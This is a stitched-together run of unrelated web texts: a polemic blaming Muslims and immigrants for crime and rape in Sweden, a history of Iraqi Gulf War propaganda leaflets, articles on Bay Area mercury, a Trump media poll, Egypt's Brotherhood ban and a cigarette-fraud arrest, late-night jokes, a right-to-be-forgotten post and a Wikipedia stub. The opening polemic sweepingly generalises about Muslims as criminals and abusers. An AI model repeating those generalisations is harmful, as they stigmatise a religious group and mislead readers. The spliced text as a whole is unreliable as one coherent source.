You won't see a picture of a recent event at which politicians and welfare officials met with residents of Stockholm's Järva neighborhood to address the prevalence of violence, forced marriage, compulsory hijab, and other forms of oppression within Muslim families – only to be told by the locals that they were not interested in conforming to "Swedish values." You won't see a picture of the head of the Swedish security service, Anders Thornberg, who in a TV interview the other day admitted that the number of potential perpetrators of terrorist violence in Sweden had risen immensely in recent years.
You won't see a gang of Muslim youths raping an infidel teenager. You won't see a Syrian refugee raping the fourteen-year-old daughter of the woman who took him into her house out of compassion. You won't see ten men committing a gang rape in August of last year – or their arrest, which finally took place earlier this month because it took that long for the police to fit it into their schedule. They are too busy these days investigating murders to spend much time on rapes.
You won't see convicted Muslim rapists being punished by paying small fines and performing community service for a few days. (When they pay the fine, do they put the money in the right position and make sure it's not so wrinkly?) You won't see a Muslim youth perusing the new booklet put out by the Swedish Ministry of Youth and Civil Affairs, which explains to immigrants that Swedish culture disapproves of rape. You won't see Muslim girls being raped by relatives – a common enough event that goes unreported because the victims know that if they go to the authorities they'll be killed. You won't see a picture of the annual, highly popular Bråvalla summer music festival, which will no longer be held after this year because the number of rapes occurring at the event has gotten out of hand.
Of course, Sweden's current crisis is not an invention of Islamophobic foreigners. It has been acknowledged by Swedish police inspector Lars Alvarsjö, who has warned that the scale of immigrant crime is straining the country's police departments and courts to the breaking point.
It has been acknowledged by Swedish police investigator Peter Springare, who has said that virtually all of the criminals he deals with are Muslims. It has been acknowledged by Malmö police chief Stefan Sinteus, who has said that Muslim immigrants in his city are responsible for an "upward spiral of violence." And of course it has been acknowledged by the recent history of the Sweden Democrats, the only party to speak the truth about these problems, and now enjoys so much voter support that the so-called cordon sanitaire erected around it by the mainstream parties will soon no longer be able to hold.
In recent weeks, Norwegians on social media have been sharing a 1977 video in which Carl I. Hagen, founder of Norway's Progress Party, warned that Sweden, by admitting too many immigrants and giving them special benefits, has started down a long road to self-destruction. He saw it forty years ago, but even now, many Swedes still refuse to see it. One of Sweden's former prime ministers, Fredrik Reinfeldt, pronounced with approval in December 2014 that the future of Sweden belonged not to ethnic Swedes but to immigrants. (Why didn't Wikström and his colleagues erupt in outrage at that remark? Why, instead, get angry at a foreign head of state for actually showing empathy for their plight?)
This is a country in which it was reported on September 9, that a new Muslim political party has filed papers to field candidates in next year's parliamentary elections. The party is called Jasin, which is also the name of the thirty-sixth sura of the Koran. On September 10, seventeen-year-old Fatemeh Khavari, who wears hijab and who recently led a weeks-long sit-in protesting the expulsion of rejected asylum seekers, told a reporter that her goal is to be Sweden's prime minister. And why not? By the time she is old enough, she will be just what they are looking for.
Riot police in Gothenburg, Sweden. (Photo by Sion Touhig/Getty Images) |
IRAQI PROPAGANDA LEAFLETS Muhammed Saeed al-Sahaf
Iraq's Minister of Information Baghdad Bob Bubblehead Doll
The main purveyor of audio and Television propaganda during the Gulf war was the Iraqi Information Minister Muhammed Saeed al-Sahaf. He became quite a favorite among Coalition troops and the American public. No matter how black things were, how beaten the Iraqi Army was, how bleak things looked for the Iraqi Air Force, he regularly came on the air to state that the news was nothing but American lies and the Iraqis were victorious everywhere. He soon earned the name of Baghdad Bob. Listeners eagerly awaited his daily diatribes to discover what lies and exaggerations he would come up with next. His fame continued until Operation Iraqi Freedom over a decade later when he would tell the world that the myth that Americans were in Baghdad was a lie and the pictures of thousands of soldiers surrendering were really actors and not Iraqi troops. The final indignity occurred in 2008 when an Australian souvenir collector placed Bobs shoulder rank up for auction. Apparently Baghdad Bob was old news. His symbols of rank sold for just $40.
The Iraqis also used PSYOP themes in an attempt to justify their occupation of Kuwait . Their major objectives were to rationalize the invasion, gain support of the Arab masses, discourage neutral and friendly nations from taking part in the UN-imposed embargo, and to deter military attacks on Iraq . These themes led directly to the following arguments; Anti-monarchy forces in Kuwait had invited Iraq to free them, Iraq is the champion of all oppressed Arabs, the West's embargo of Iraq is starving and killing innocent women and children, and Iraq will depart from Kuwait as soon as it is self-governing. This last argument had to be rethought after Saddam claimed Kuwait as its 19th Province.
Daniel A. Castro adds in his 2007 Naval Postgraduate School thesis: Do Psychological Operations Benefit from the use of Host Nation Media:
Prior to the invasion, Iraqi broadcast capabilities included two prime-time television broadcasts, two domestic radio services Baghdad Domestic Service and Voice of the Masses (VOM) and shortwave radio broadcasts of VOM in Kurdish, Turkoman, and Assyrian. Shortly after the invasion, Iraq seized several Kuwaiti media centers and began operating the Provisional Free Kuwait Government Radio Program. They also implemented at least five additional shortwave radio programs destined to undermine the Saudi and Egyptian governments and the morale of Arab troops in the Gulf.
Probably the most famous purveyors of Iraqi propaganda were radio personalities Baghdad Betty and Iraqi Jack. Iraq 's anti-Coalition radio programming started in early August 1990, shortly after the arrival of the 82nd Airborne Division. The radio shows were taped and about two hours in length. The tapes were replayed multiple times during the day in the hopes of getting their message to the largest possible audience. Before each show ended the announcer would inform the listeners what time the next broadcast would be aired. This notification became more important with the initiation of the air campaign as transmissions became more irregular.
The radio personalities were a youthful sounding woman dubbed "Baghdad Betty" and a male voice which was quickly nicknamed "Iraqi Jack". American nicknaming of enemy radio personalities began with "Tokyo Rose", "Axis Sally", and "Hanoi Hanna." Of course, during WWII, the British had their own "Lord Haw Haw."
The shows were reportedly broadcast from downtown Baghdad , which was about 500 miles from the Coalition forces. Baghdad Betty first broadcast in English to Coalition troops in Saudi Arabia in early September 1990. The format for the broadcasts typically included a mix of popular top 40 hits, "Oldies" and some "Blues" music by contemporary artists.
Unfortunately for Iraq , although the music selections were attractive to the target audience, the text was both silly and absurd. The Iraqi propaganda machine ignored the first rule of PSYOP, "Know and thoroughly understand your target audience." Iraq 's propaganda developers had a predetermined opinion of life in the United States and it clearly showed in their perception of American culture. Their misguided presentations clearly destroyed any credibility that they could have hoped for. Betty's efforts to broadcast morale-busting messages to troops in the Gulf were, like most of Iraq 's military efforts, a failure. Her alleged comments that the American soldier's wives were in bed with Tom Cruise, Bruce Willis and Bart Simpson made Iraqi radio a constant source of jokes on late-night American television.
Don North
Don North was the media advisor to Saudi General Khalid Bin Sultan, the Commander of Saudi forces. He monitored Iraqi propaganda broadcasts and later wrote an article entitled As Propagandists go, Gulf Wars Baghdad Betty was a Bomb for Stars and Stripes. He said about Baghdad Betty in part:
In September 1990 soon after the arrival in Saudi Arabia of the U.S. 82nd Airborne, Iraqs Voice of Peace began broadcasting with an English-speaking Iraqi woman. Americans named her Baghdad Betty. She played pop music more popular than the religious music on Saudi stations, but to bolster their own forces and influence Arab allies, she bad-mouthed American troops saying they drank liquor and defiled the holy places of Islam. Her propaganda writers had a jaundiced view of American culture.
Her efforts to broadcast morale-busting messages to troops in the Gulf war were, like most of Iraqs military efforts, a failure. Baghdad Betty started broadcasting in English to Allied troops in Saudi Arabia in September 1990. Her broadcasts were believed to originate in Baghdad with transmitters in Southern Iraq and Kuwait.
Colonel Jeff Jones, commanding officer of the Army's 8th Psychological Task Force at Fort Bragg , N.C. , who directed U.S. PSYOP in the Gulf, says Betty's broadcasts were laughable:
Her broadcasts proved the Iraqis didn't understand us at all. Her ignorance was pervasive. She was never sure of her sources, and broadcast old information based on dated news.
Saddam Hussein was similarly unimpressed. In mid-December 1990, he sacked Betty after three months of broadcasting and replaced her with a bevy of announcers who called themselves the "Mother of Battles Radio." Unfortunately for them, Mother of Battles Radio was near the top of the Allied target list and was bombed off the air in mid-January, when the mother of air wars began.
American PSYOP troops then used the same frequency, and in partnership with Saudi Kuwait and Egyptian forces, they broadcast in Arabic 18 hours per day for 40 days. They transmitted from two ground stations in Saudi Arabia, a platform in Gulf waters and a transmitter in Turkey. Jones continued: Thanks to Saddam we were pretty effective. The Iraqi soldier was betrayed by Saddam. Hey were ill-supported and vulnerable to everything we broadcast, which was basically just the truth.
Curiously, Baghdad Betty turned out to be an efficient broadcaster when not reading badly written Iraqi propaganda. North told me:
In 2003 I was Senior Advisor and Journalist trainer at the Iraq Media Network in Baghdad, a radio and TV station organized by the Pentagon. The woman who had been "Baghdad Betty" was hired and under supervision became a valued announcer on Iraq Media Radio.
Soldiers of January 1991 featured an article by Bill Licatovich entitled "Iraqi Propaganda Ploys." He mentions that the enemy propaganda portrayed Americans as those who threaten Arab morals. For instance, cartoons show the Americans behaving badly and defiling the holy places of Islam. The Iraqis attacked the fighting ability of American soldiers and said that they were addicted to alcohol, women and song, could not survive in the desert and are afraid of the Iraqi Army. America was accused of using other Arab soldiers to do its fighting so that it could prop up other unpopular Arab rulers and take over Iraq . And of course, America wanted to steal Iraq 's oil. A number of Iraqi cartoons are depicted. In one a soldier facing a giant Iraqi cannon asks President Bush, How long are we going to sit here pointlessly? I have a baby at home. I want to go back before the cannon starts firing. In another, two Iraqi soldiers look at a military vehicle with three skeletons inside and say Bushs Army. In a third cartoon, a burning Bush runs away from a burning tank with the caption, If Bush starts a war, he wont be able to stop it.
British General Sir Peter de la Billiere adds in Storm Command about Iraqi propaganda:
The prisoners we took were in a wretched state, half starved, exhausted, louse ridden. Many were suffering from wounds which had remained untreated for many days, and all had been terrified by their own propaganda that if they entered any Allied field hospital they would be tortured by being operated on without any anesthetics. So thoroughly were the Iraqis brainwashed that one dying man refused to call on Allah for his salvation and invoked Saddam Hussein as his savior.
Nigel Pearce adds in The Shield and the Sabre:
The Iraqis had dummy weapons, decoys and other deception measures of their own, and their propaganda, too, was occasionally convincing. Even conscripts could be fanatical Baathists or extreme fundamentalists ready for martyrdom.
I wrote an article in the fall 1992 issue of Perspectives entitled A Brief Look at Iraqi Propaganda Leaflets, in which I illustrated and translated seven of Saddam's leaflets. I pointed out at that time that Saddam never had the ability to drop his leaflets from the air, so all that had been found was either blowing along the desert floor or in Iraqi bunkers. There was no real dissemination as we know it. However, there are a number of reported cases of Iraqi propaganda being disseminated near the United States Marine expeditionary forces along the Kuwaiti-Saudi border during the early defensive phase of operation "Desert Shield." Most Iraqi leaflets were captured in enemy bunkers or headquarters during the offensive phase of operation "Desert Storm." An exhibit in the George C. Patton Museum in Ft. Knox, Kentucky, states that most of the Iraqi leaflets were found in the abandoned Iraqi 4th Corps headquarters in Kuwait by the 3rd DTAC G2 and EOD Team on March 8, 1991.
Retired Major Ed Rouse adds:
I was assigned to the 4th Psychological Operations Group during Operation Desert Storm. It is believed that the Iraqis transported the leaflets into Kuwait in the early days of the war. There were two known Iraqi print and/or storage facilities located within the Kuwait theater of Operations. The first known facilities was at the extreme western end of the airstrip at Safwan. At that location, a large four floor underground bunker complex was discovered containing a substantial number of large thick cardboard crates crammed with propaganda leaflets. The crates at the Safwan facility contained leaflets 101, 102, 103, 104, 105, and V07. Beside the Safwan facility, another Iraqi propaganda leaflet operation was found about 25 kilometers within Kuwait at a point South of Iraq border,
A member of the 3rd Armored Division who was among the American forces that found the leaflets said:
I liberated these leaflets on 3 March 91 at an Iraqi logistics base south of Safwan Iraq on Highway 1. The area was in Kuwaiti military City, occupied by the Iraqi Army on 3 August 1990. I went inside the basement of a Kuwaiti Military Barracks (east side of Highway) to reconnoiter it for the use by our Battalion. In the basement of one of the buildings we came across a printing operation. I had an extra rucksack in my M1009 and filled it with leaflets. The building was later blown up. The plan seemed to be that the Iraqis were going to shoot them in artillery shells from positions south of this site, for release over our lines.
The following leaflets are usually prepared in a single bright color. They have been found on both glossy and bond paper. There are also a large number of forged leaflets. These forgeries can be identified by shiny black ink in place of the flat black of the genuine leaflets. The following forgeries have been identified: Nos. 1, 2, 3, 4, and 5.
The dimensions of the leaflets may vary slightly due to poor and irregular cutting.
I01
F: Coffins lined up next to aircraft marked "USA." Pink. Glossy paper. 200x115mm. "Dear soldiers: Your commanders have said that the war will take a few days. Were they correct? And convinced you that losses will be minimum in the ground combat. We assure you they won't be correct." B: Blank. This leaflet has been forged on pink bond paper and as a B&W reprint. Although it is a terrible product, the propaganda is interesting because it preyed on the American fear that the Gulf War might turn into another Vietnam . Everyone remembered the daily parade of body bags being returned to the United States on the evening news and the Iraqis tried to take advantage of that fear and feed the liberal anti-war crowd with images that they believed would soon be true.
I02
F: Statue of Liberty weeps over dead Iraqi civilians. Pink. Glossy paper. 125x215mm. "Liberty stadium cried for help because of your aggression and killing civilians, innocent kids, mothers and olds." B: Blank. This leaflet has been forged on a pink bond paper. Besides being a badly produced leaflet, the grammar is terrible. This is unacceptable in a leaflet. The language must be perfect to be credible. Because of such poor terminology such as mothers and olds instead of mothers and old folks, Iraqi propaganda became a laughing stock around the world.
I03
F: Iraqi weapons massed against an American and British soldier. Pink. Glossy paper. 190x115mm. "Beware, don't step forward, Iraqi fire is fatal." B: Blank. Although this leaflet is still printed on a terrible pink glossy paper, the message itself is not bad. The Iraqis did have their scud missiles, a vast array of armor and experienced soldiers, and very advanced artillery. This leaflet might give a Coalition soldier cause to stop and think. These leaflets could be officially brought back if identified on the War Trophy and Registration form. The form was prepared for captured enemy equipment retained by a unit or individual. One form I saw stated that the preparer had permission to bring back one box of propaganda leaflets. He must have made a very lucky find in an Iraqi bunker.
I04
F: English text at left, Arabic at right. Green. 180x122mm. Glossy paper. L: Is it fair to die for a corrupt sheikh and for oil companies, thousands of miles away from home? Isn't it Vietnam revisited? R: Is it in accord with the principles of honor and the true Islamic religion that you, the Moslem Arab, is under the command of foreign powers in order to destroy Iraq and kill innocent Moslem people when God says in his venerable book: "In the name of Allah the merciful, the compassionate. A believer should not kill a believer intentionally, only by error. Whoever kills a believer deliberately, his punishment is eternal Hell." God has said the truth." B: Blank. This leaflet uses the Koran in an attempt to convince Muslim soldiers in the Coalition that they should not fight against a brother Arab nation. That all sounds very well until you remember that Saddam himself had fought against and occupied a brother Arab nation.
I05
F: American, British and Saudi soldiers think of Kuwaiti Sheik with women and liquor at "Sheraton Taif." Blue. Bond paper. 155x215mm. "Is he worth dying for??" (English and Arabic) B: Blank. Shortly before the start of the war the leaders of the allied Arab nations met at the Sheraton Taif to discuss the Iraq-Kuwait situation. Saddam takes advantage of that meeting and the belief (which might not be so far from incorrect) that when the Muslim leaders are away from their people and safely out of sight they drink alcohol and carouse with women. There is a bond paper forgery of this leaflet printed in purple ink.
I06
F: Blue 11mm horizontal stripe at top and bottom. Bond paper. 195x130mm. Two hands clasping, one sleeve bears an Iraqi flag, the other bears the words, "Arabic and Islamic Forces." Crushed between the hands is an American soldier identified by his broken U.S. flag. B: Blank This is not a bad propaganda leaflet, except that Iraq had no allies and there was no other nation that would join Iraq to crush the forces of the United States . As a result, although a good image, the leaflet makes no sense.
I07
F: Iraqi points AK47 at US, British and two Arab soldiers. One Arab soldier thinks of friendship with his Iraqi brother. Green. Glossy or dull bond paper. 215x120mm. "Brother Arab soldiers! Why do you face us with your weapons? You think that those which you are fighting alongside today are your allies when they are causing the Palestinians to suffer in the Sinai and the Golan. How can you reach your glory by dying for the Americans in their attempt to destroy Iraq?" B: Blank. I like this leaflet. The illustration is strong and the message is clear. To fight with the Americans is to help the Israelis who are persecuting other Arabs. To die for the Coalition will not make a Muslim a martyr and open the doors to paradise. This leaflet has been forged twice, once on yellow bond paper and in plain B&W.
I08
F: Three cartoons. The first shows an Arab ruler who appears to be Saudi Arabian King Fahd welcoming an American soldier holding an Israeli flag into the holy lands. The soldier has an immodestly dressed woman on his arm. The second cartoon shows a soldier with a Star of David on his helmet pointing a pistol at an Arab soldier. The third shows an Arab soldier carrying an Iraqi flag marching towards what appears to be the Dome of the Rock in Jerusalem . The leaflet is printed in B&W on oversized Bond paper about 9 x 12-inches in size. "Muslim Arab brothers. We are your brothers both in religion and race. Join us in fighting the foreigners, and stopping them in their attack against the Iraqi people. The Iraqi warriors will be victorious in their fight, and with your help, it will make us all more glorious to Allah in our holy war with the foreigners. It is not honorable for you to face your Arab and Muslim brothers with weapons. Our religion teaches us that we should fight together for one common goal, of stopping invaders, especially the Americans who are enslaving the Palestinians and taking their lands. Do you want to be like the Americans and Jews by helping them destroy the Iraqi people and take their land? Is this your Jewish duty?" B: Blank. This is the only large propaganda leaflet made by the Iraqis. Once again it reminds fellow Muslims of the prohibition against fighting one-another, while conveniently ignoring the fact that it was Saddam who first attacked a fellow Arab state. A copy of this leaflet was found on an Iraqi soldier captured at Khafji on 31 January.
I09
F: Blue-grey with thin 2mm dark blue border. Bond paper. 235x160mm. An Iraqi soldier listens to radio marked "USA." "It is part of psychological warfare." B: Blank This might be the best PSYOP leaflet prepared by the Iraqis. It is a morale leaflet for their own soldiers and reminds them that the Coalition radio is filled with lies and they should ignore it. The problem was that the Coalition was broadcasting day and night on several frequencies and telling the Iraqis the truth about the war. It was their only real source of information. There was not much chance that they would stop listening.
I10 |
Dr. Jane Hightower’s sick patients weren’t getting better, and she wanted to know why.
Some of the California Pacific Medical Center physician’s well-heeled patients were coming into her clinic complaining of fatigue, or trouble thinking – an on-and-off feeling of not being well. Sometimes it was problems with vision, hearing, nausea and vomiting, or a metallic taste in the mouth.
In 1999, she began keeping a tally of what they ate. Fish, it turned out – a lot of it. Specifically large fish, like shark, tuna, swordfish, cod and ahi tuna.
A possible cause began to emerge for their ailments: mercury, a potent neurotoxin that builds up in fish and can cause serious illness.
“I have a Pacific Heights practice,” said Hightower. “They’re not fishing in Martinez. They’re fishing at Bryans and Whole Foods.”
But another at-risk population in the Bay Area, she said, are lower income folks, who do spend time fishing out on the piers in Martinez, Berkeley, Pinole and other East Bay cities every season not only for recreation, but to supplement the family dinner table. The striped bass, sturgeon and halibut they bring home can be loaded with mercury, which is widespread in the bay but impossible to detect with the naked eye.
“Mercury is invisible and prevalent throughout the bay system,” said Sejal Choksi, executive director of San Francisco Baykeeper, an environmental group that works to reduce pollution in the bay.
Once known as “mad hatter disease” after the afflicted Victorian hatmakers who used mercury to produce the felt in their wares, the creeping symptoms of mercury include tremors, problems with vision, hearing, nausea and vomiting, as well as stranger effects like pathological shyness and irritability. The toxin can cause permanent damage to the central nervous system.
Anyone with an immune-compromised system is at greater risk for deleterious effects of mercury, which is also neurotoxic to developing brains, making it especially dangerous for pregnant and nursing women, babies, and small children.
Mercury is found primarily around the bay in a red rock known as cinnabar. When it settles in waterways, bacteria transform it into a highly toxic form known as methyl mercury, which is easily absorbed by marine plants and the tiny aquatic organisms that eat them.
“In wildlife, mercury in high concentrations can cause developmental problems, just as it does in humans,” said Choksi. “If you’ve got mercury impairing wildlife and their immune systems, then they’re more susceptible to infectious diseases; they can have cancerous growths. It’s pretty much the same as in the human population.”
It doesn’t take much to constitute a problem. Mercury pollution is measured in parts per billion – the amount contained in a drop of water in a backyard swimming pool.
“So the amount you might find in an old thermometer is enough to cause significant contamination,” said Bruce Wolfe, executive officer with the San Francisco Bay Regional Water Quality Control Board, the state agency that oversees water pollution in the Bay Area.
So where does all this mercury come from? Mercury enters the bay watershed from a number of sources, including stormwater and wastewater runoff from local oil refineries and cement kilns. Significant quantities also drift through the air from coal-burning power plants in China.
But the biggest culprit can be found at very root of California’s history and prosperity. In the 19th century, Gold Rush miners also mined mercury in copious amounts in the cinnabar-rich hills just south of San Jose. To extract mercury, crushed ore was heated in furnaces and transformed into a vapor. As the gas cooled and condensed, it turned into a liquid form known as quicksilver, which is naturally attracted to gold. Sierra miners used it to separate gold from crushed rock.
By the early 1900s, miners had switched to cyanide to extract gold, but mercury still had many uses – in industry, medicine, dentistry (it was used for fillings) and common household products. Even though the mines in the Almaden Hills near San Jose closed decades ago, all that mining left behind a legacy — rocky deposits from the old furnaces are still leaching mercury into the surrounding creeks and rivers, which eventually drain into San Francisco Bay.
Roughly 2,000 pounds of mercury enter the bay each year from all these different sources. The bay is slowly cleaning itself, washing an estimated 3,100 pounds a year out to sea. But at the present rate, it will take generations for the bay to flush out so much mercury that fish are no longer contaminated.
To speed up the process, in 2008 the regional water board launched an ambitious, multi-billion dollar cleanup plan called a Total Daily Maximum Load. The multifaceted plan aimed to reduce both the mercury entering the bay and the amount of the toxin that converts to its poisonous methylmercury form. The plan also provided for advanced monitoring to better understand how mercury makes its way through the watershed.
Seven years after the TMDL plan went into effect, progress has been made in reducing urban wastewater runoff. Most of the contaminated South Bay mining waste sites have been, or are being, cleaned up, and efforts are underway to remove toxic sediment within the Guadalupe River and its tributaries and reservoirs.
But this accounts for only a small fraction of the total load entering the Bay. The greatest source is the legacy poison on the bay floor, which steadily erodes over time and is nearly impossible to clean up. Seven years after the TMDL went into effect, toxic levels in fish and wildlife remain as high as ever.
There is a tentative revision of the TMDL planned for 2018. In the meantime, the Water Board estimates that it will take more than 100 years for the Bay to recover. At a minimum, three generations will be impacted by the potent and long-lasting poison still lingering in the bay mud.
Environmental groups say that’s too long to wait for cleaner waters. They want to see enforceable urban stormwater limits for mercury, an accounting of mercury pollution from crude oil refineries, and a full inventory of old mining sites.
“This process gets you a lot of planning and paperwork but not tangible reduction of mercury in the bay,” said Choksi. “We want to see zero mercury in the bay and we want to see it soon.”
Click here for the state’s advisory on eating fish from the San Francisco Bay.
Click here to listen to tips from Dr. Jane Hightower about how to avoid mercury in your diet.
Click here to learn more about mercury contamination in the bay. |
A majority of Americans believe the establishment media is acting as the primary political opponent to President Donald Trump, according to a new poll by TIPP.
Fifty-five percent of the public told TIPP that they are “weary from the media’s persistently negative coverage of President Trump,” and 54 percent say the news media “has assumed the role of the opposition party, constantly opposing the president and his policies at every turn,” according to an article in Investors Business Daily, which sponsored the TIPP poll.
The result supports the argument by Steve Bannon, Trump’s strategist, who described the establishment media in January as “the opposition party.”
According to IBD;
Not surprisingly, Republicans overwhelmingly hold these views (88% say they’re tired of the [media’s] relentless negativity), but the media’s attacks are also turning off independents (55% of whom say they’re weary of the negative coverage) and moderates (54% of whom are weary). Most also believe that the press has assumed the role of the opposition party.
The poll also showed the public backs Trump’s ‘Hire American’ immigration policies;
The poll found that 57% back Trump’s plan to hire 10,000 more immigration agents; 58% support the deportation of illegal immigrations charged with a crime, even if they haven’t been convicted; 53% back Trump’s call to withhold federal aid to “sanctuary cities.”
Amid media hostility, Trump’s Feb. 28 successful speech to the joint session of Congress also boosted his support, according to the poll.
Of the 653 surveyed before the speech, just 39.5% approved of the job he is doing. Of the 256 polled after the speech, his approval rating climbed to 46.1% — a 6.6 point bump. His disapproval numbers went from 54.5% before to 47.5% after.
The poll of 909 people was conducted from Feb. 24 to March 4. Read the IBD article here. |
Egypt’s military junta has a new excuse to crack down violently against the elected government today, after a Cairo court ordered the complete ban of the Muslim Brotherhood, which ran the largest and most successful political party during Egypt’s brief democratic experiment.
The verdict authorizes the military, which seized power over the summer in a violent coup d’etat against President Mohammed Morsi, to confiscate all assets of the Brotherhood, which includes large numbers of schools, hospitals and charity organizations across Egypt.
The ban came as a result of legal challenges filed by pro-junta “liberal” political factions, which argue that the Brotherhood’s organization of anti-junta protests amounts to “terrorism.”
The banning eliminates a successful, influential political party from the field if indeed Egypt holds future elections, but it remains to be seen how much credibility the so-called liberal factions will retain after endorsing the junta’s crackdowns.
From the junta’s perspective, it also eliminates the only real challengers to their continued rule, as the feckless political opposition that remains have shown little ability to mobilize anybody when they aren’t being bankrolled by the US to provide a pretext for a coup .
Exactly what this means for the Muslim Brotherhood itself remains to be seen, however, as the group has been banned off and on throughout its history, and has always managed to survive.
Last 5 posts by Jason Ditz |
MASON COUNTY, MI - Just what were a couple of guys from Detroit planning to do with the 139 cartons of cigarettes they had inside their car when they were busted outside Ludington?
Mason County Sheriff Kim C. Cole said he wasn't sure. But if they sold them on the street for a buck apiece, they would pocket more than $27,000.
Police believe the pair also had stolen credit card information that was used to purchase the cigarettes at multiple outlets in Manistee and Mason counties, and possibly elsewhere.
One of the suspects, Darius Fluellen, 19, of Detroit is facing seven felony counts as the result of a months-long investigation by the Mason County Sheriff's Office. He was arrested on those seven counts when he returned to Mason County to plead to a marijuana possession charge that also came out of Mason County, Cole said.
Police continue to look for his partner who faces the same seven felony charges.
The sheriff's office began investigating after receiving a tip on Dec. 21, 2015, from the Manistee County Sheriff's Office, which had been trying to catch up with the duo after they had purchased large amounts of cigarettes in that county, Cole said.
The following day, someone from the Airport EZ Mart on U.S. 10 in Pere Marquette Township contacted Cole's office to say two people had purchased large quantities of cigarettes, Cole said. It later was determined that large quantities of cigarettes also had been purchased at Eastgate Wesco, a half-block away from the EZ Mart, Cole said.
It is against state law to possess 3,000 or more cigarettes. In this case, the two had more than 27,000 cigarettes in their car when a deputy stopped their vehicle in Ludington, Cole said. They also had multiple debit cards in the car, many of them pre-paid cards, he said. Investigators were able to track one of the cards to an unsuspecting victim, he said.
Both men also had marijuana in their possession, were arrested for that and bailed out of jail the next day, Cole said. When Fluellen returned to Mason County on Feb. 23 to answer to the marijuana charge, he was arrested on the seven felony count warrant related to the cigarettes and stolen credit cards. At his arraignment Wednesday bail was set at $15,000 cash or surety.
Fluellen is facing a charge of violating the Tobacco Products Tax Act, a felony punishable by up to five years in prison and or $50,000 fine; five felony counts of stealing/retaining without consent a financial transaction device, each punishable by up to four years in prison and/or $5,000 fine; and one count of identity theft, a felony punishable by up to five years in prison and/or $25,000 fine.
Cole said an arrest warrant with the same charges for Fluellen's alleged accomplice also has been issued.
The duo went to the Wesco store twice to buy cigarettes and to the EZ Mart three times, Cole said. The rest of the cigarettes were purchased elsewhere, he said.
Lynn Moore is a reporter for MLive Muskegon Chronicle. Email her at lmoore8@mlive.com and follow her on Twitter and Facebook. |
Trump's slurred speech opens him up to ridicule from comedians
President Donald Trump's apparent flubbing of several words in Wednesday's public speech about relocating the U.S. embassy in Israel to Jerusalem opened him to a host of jokes later that night on the late-night scene.
In addition to slurring multiple words, Trump ended the speech with “God bless Israel. God bless the Palestinians, and God bless the United States,” but the last part of phrase was clearly mangled.
Naturally, it became fodder for TV hosts.
“The Daily Show” host Trevor Noah called Trump’s speech “disturbing” to watch.
“As disturbing as it was today to watch Donald Trump add fuel to the Middle East conflict, it was even more disturbing to watch the conflict between Donald Trump's teeth and his tongue,” Noah said. “It seemed like someone hit him with a blow dart just before he went out to make the speech.
“Oh man! He's slurring and stumbling over the words. He sounds like he just had a drink with Bill Cosby, what's going on there, man?” he added.
Trump announces that the U.S. will recognize Jerusalem as Israel’s capital and all hell breaks loose between his tongue and teeth. #DentureDonald
Full episode: https://t.co/DJZoI9j8Yo pic.twitter.com/nCciSWuJJ1
— The Daily Show (@TheDailyShow) December 7, 2017
He went on to surmise that Trump must’ve been having trouble with his dentures and called for a “molar investigation.”
“Think about it. Fake teeth, fake hair, fake tan. Like there's no part of his body that's real. At this point, I wouldn't be shocked to find out he is the dude from ‘Men in Black,’” Noah joked.
PHOTO: A picture taken on Dec. 4, 2017 shows a general view of the skyline of the old city of Jerusalem, with the Dome of the Rock in the Aqsa Compund. (Ahmad Gharabli/AFP/Getty Images) More
"The Late Show"’s Stephen Colbert played the clip of Trump’s speech twice during his opening monologue.
“He managed to get every word in the speech right, except the last one,” Colbert said. “I am really looking forward to this Jan. 30. We're live when Trump addresses a joint session of Congress for the ‘Shtshh’ of the Union.”
Trump trying to say ‘United States.’ pic.twitter.com/hJsJ0p9Thh — The Late Show (@colbertlateshow) December 7, 2017
“The Late Late Show with James Corden” got in on the fun too.
“It seems like something is wrong with Donald Trump's mouth,” host Corden said before going on to play clips of the speech. “I knew he had a screw loose, we didn't know he had a tooth loose.
“That video contains the three things that make up our worst nightmares: public speaking, losing teeth and Donald Trump,” he joked.
The White House acknowledged the slurred speech, calling it simply dry mouth and a non-issue, according to reports. |
Spanish Court Limits Scope Of EU's Right To Be Forgotten
from the more-clarity-needed dept
EU's 'right to be forgotten' is still relatively new -- the original ruling was made less than a year ago. Since then, the EU courts and companies have been trying to work out what it means in practice, which has led to some broadening of its reach. But an interesting court ruling in Spain seems to limit its scope. It concerns the following case, reported here by Stanford's Center for Internet and Society: The claimant was a Spanish citizen who found that when typing his name on Google Search, the results included a link to a blog with information about a crime he had committed many years ago. While the official criminal records had already been cancelled, the information was thus still findable on the internet. The Spanish Data Protection Authority (DPA) made two rulings. One was that Google should remove the information from its search engine, and the other was that Google should remove personally identifiable information from a blog hosted on its Blogger platform. When these decisions were reviewed by Spain's National High Court, it confirmed the first ruling, and clarified that Google needed to remove the link to the criminal records information from its search results. However, it did not confirm the second ruling: The National High Court reversed that and held that the responsible for the processing is not Google but the blog owner. It further held that the DPA cannot order Google to remove the content within a procedure for the protection of the data subject's right to erasure and to object. This is significant, because it says the "controller of the processing" -- a key concept in EU data protection law -- is the blog owner, not Google, and so the latter cannot be forced to take down a blog post. The Center for Internet and Society post notes: Arguably, under the rationale that the platform is not the controller of the processing, other user generated content sites such as YouTube or social networking sites might also fall outside the scope of the right to be forgotten. Well, not entirely outside the scope: presumably, search engines could still be required to remove links to user-generated content, but it would be the creator of that content that would be asked to remove it entirely, not the hosting company. Clearly, further cases will be needed to clarify how exactly this will work in Spain, and whether it applies anywhere else.
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Filed Under: blogs, eu, right to be forgotten, search engines, social media, spain
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For other people named James Graham, see James Graham (disambiguation)
James Graham (1791–1845) was an Irish non-commissioned officer (NCO) in the British Army during the Napoleonic wars, recognised as the "bravest man in the army".[1] Serving in the Coldstream Guards, he was commended for his gallantry during the defence of Hougoumont, at Waterloo. Graham saved the life of an officer, and his own brother, and was among the small group responsible for closing the North Gate at Hougoumont after a French attack – an act which won the Duke of Wellington's encomium. He was rewarded with a specially cast gallantry medal and an annuity. After later serving in the 12th Royal Lancers, Graham was discharged in 1830 for ill health, and died at the Royal Hospital Kilmainham in 1845.
Early life and service [ edit ]
